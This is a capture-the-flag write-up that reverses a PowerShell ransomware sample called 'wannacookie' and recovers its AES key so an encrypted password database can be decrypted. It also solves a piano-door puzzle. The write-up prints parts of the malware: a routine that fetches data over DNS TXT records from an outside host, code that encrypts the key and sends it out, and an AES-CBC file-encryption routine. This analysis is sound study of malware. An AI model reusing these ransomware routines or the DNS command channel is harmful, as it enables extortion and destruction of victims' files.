Those are not the key, let's look at the cleaned malware to figure out how encryption happens inside wannacookie/wanc
function.
GetOverDNS
downloads files over DNS. First, it downloads server.crt
which is a normal root CA.
# get server.crt, it will use its public key to encrypt the key before sending them out.
# 7365727665722E637274 == server.crt
$p_k = [System.Convert]::FromBase64String($(GetOverDNS ("7365727665722E637274")))
Then it generates a 16 byte random AES key, converts it to hex and creates the SHA-1 hash of it:
# generate a "random" 16-byte encryption key.
$key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join '')) | Where-Object {$_ -ne 0x00 })
# encryption key converted to hex.
$keyHex = $(ByteToHex $key)
# keep a hash of encryption key for decryption later, if later the script gets a key, it will compare the hashes first.
$keyHash = $(SHA1 $keyHex)
Then it uses the public key of the certificate to encrypt it and then sends it out:
# encrypt the encryption key with public key from the certificate.
$encryptedKey = (PublicKeyEncrypt $key $p_k).ToString()
# send the encrypted key out.
$c_id = (SendKey $encryptedKey)
This is actually a good way to store the keys. Because even if we can reverse the encryption algorithm, we cannot decrypt the encrypted keys w/o having access to the private key.
server.crt
is a normal DER-encoded x509 certificate and does not have the private key. But we got a hint in challenge 8 about file names inside app.js
:
key: fs.readFileSync(__dirname + '/keys/server.key'),
cert: fs.readFileSync(__dirname + '/keys/server.crt'),
What if we called GetOverDNS('server.key')
? This is my modified GetOverDNS
that stores the output in a file of the same name w/o interrupting the malware.
# modified function.
function GetOverDNS ($f) {
$godnsarg = "Called GetOverDNS({0})" -f (HexToASCII $f | Out-String).Trim()
Write-Host $godnsarg
$h = ''
foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings,10) - 1)) {
Start-Sleep -m 50
$h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings
}
(HexToASCII $h) | Out-String | Out-File -FilePath (HexToASCII $f | Out-String).Trim()
Write-Host "Return from GetOverDNS"
return (HexToASCII $h)
}
Now we can call GetOverDNS('server.key')
and get the private key:
-----BEGIN PRIVATE KEY-----
// removed
-----END PRIVATE KEY-----
The header indicates the key is in the PKCS8 format. If the key was PKCS1, the header would have said BEGIN RSA PRIVATE KEY
.
These files are stored in UTF-16, we can convert them to ASCII using PowerShell:
Get-Content .\server.key | Out-File -Encoding ASCII server-ascii.key
What is the AES key used for? It's used to encrypt elfdb
files as seen in EncryptDecryptFile
:
function EncryptDecryptFile ($key,$File,$enc_it) {
[byte[]]$key = $key
$Suffix = "`.wannacookie"
[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography')
[System.Int32]$KeySize = $key.Length * 8
$AESP = New-Object 'System.Security.Cryptography.AesManaged'
$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC
$AESP.BlockSize = 128
$AESP.KeySize = $KeySize
$AESP.Key = $key
$FileSR = New-Object System.IO.FileStream ($File,[System.IO.FileMode]::Open)
if ($enc_it) {
$DestFile = $File + $Suffix
} else {
$DestFile = ($File -replace $Suffix)
}
$FileSW = New-Object System.IO.FileStream ($DestFile,[System.IO.FileMode]::Create)
if ($enc_it) {
# generate IV - 16 bytes
$AESP.GenerateIV()
# write length of IV (16 or 10 00 00 00) to file
$FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length),0,4)
# write IV to file
$FileSW.Write($AESP.IV,0,$AESP.IV.Length)
$Transform = $AESP.CreateEncryptor()
} else {
// removed
}
It uses AES-CBC to encrypt the files. But it stores some data at the beginning of the files:
We have the private key, now we need to use it to decrypt the encrypted AES key.
I have created a Go program called decrypt.go
that does it. It's looking for hardcoded files because creating something that reads values from the command line was useless in this exercise.
How can we find the encrypted AES key?
In the memory dump search for hex encoded bytes of size 512 (that is the size of a padded RSA encrypted 16-byte payload):
matches "^[a-fA-F0-9]+$"
len == 512
And we have one match:
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b
8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f
401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950
d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e3816
91dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8
b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7
d47681a77152563906a2c29c6d12f971
After decrypting it with RSA with OAEP padding. We get a 16 byte AES key.
We could also create a pfx/pkcs12 file by combining the certificate and key but it's not necessary. We can accomplish it with certutil
or OpenSsl
. Certutil
assumes key is in server.key
(if we had passed myserver.crt
, it would have looked for the key in myserver.key
):
$ certutil.exe -MergePFX .\server.crt server.pfx
Signature test passed
Enter new password for output file server.pfx:
Enter new password:
Confirm new password:
CertUtil: -MergePFX command completed successfully.
Using OpenSSL
:
openssl.exe pkcs12 -export -out server.pfx -inkey server-ascii.key -in server-ascii.crt
WARNING: can't open config file: /usr/local/ssl/openssl.cnf
Enter Export Password:
Verifying - Enter Export Password:
unable to write 'random state'
To decrypt the files with OpenSSL we can use.
openssl pkeyutl -decrypt -inkey server-ascii.key -in encrypted -out decrypted -pkeyopt rsa_padding_mode:oaep
WARNING: can't open config file: /usr/local/ssl/openssl.cnf
Now we need to decrypt the password file with this AES key.
Looking at the PowerShell script we can see it's using AES-CBC. This gives us the file encryption key:
FBCFC121915D99CC20A3D3D5D84F8308
After decrypting the file, we can see it's a SQLite database file. It starts with SQLite format 3
. Opening it gives us the password for the vault and some other places. Alabaster is an anon.
ED#ED#EED#EF#G#F#G#ABA#BA#B
.The answer is Santa
. He wanted us to help defend the castle so he made up the challenges. Hans was pretending to be the villain and the toy soldiers are elves in disguise.
"Based on your victory… next year, I'm going to ask for your help in defending my whole operation from evil bad guys."
I guess next year's challenge is mostly blue team stuff? Sounds fun.
The piano door is based on notes. We can use the PDF from challenge 8 to figure it out. It's the one that Holly sent to Alabaster. His original password does not work on the door because it has been modified based on the instructions.
We know his favorite key is D
(from the text of Holly's email from challenge 8). We need to go from E
to D
which is one step or two keys to the left. So we will use the PDF to do it.
The door code is:
D C# D C# D D C# D E F# E F# G A G# A G# A
This was fun, hope you enjoyed it as much as I did.